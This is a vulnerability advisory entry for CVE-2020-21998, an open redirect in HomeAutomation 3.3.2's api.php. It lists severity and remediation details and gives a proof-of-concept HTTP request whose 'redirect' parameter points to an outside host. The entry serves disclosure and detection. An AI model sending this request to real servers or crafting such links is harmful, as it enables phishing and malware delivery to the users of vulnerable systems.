| Title | HomeAutomation 3.3.2 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can redirect users to malicious external websites through crafted links, potentially facilitating phishing attacks or malware distribution. |
| Remediation | Upgrade to HomeAutomation version 3.3.3 or later, or apply vendor-provided security patches. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01964 |
| CVE ID | CVE-2020-21998 |
| CWE ID | CWE-601 |
| Tags | cve cve2020 homeautomation packetstorm iot redirect vuln |
HomeAutomation 3.3.2 contains a redirect vulnerability caused by improper verification of the ‘redirect’ GET parameter in ‘api.php’, letting attackers redirect users to arbitrary websites, exploit requires user interaction with a crafted link.
GET /homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-21998.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-21998.pcap
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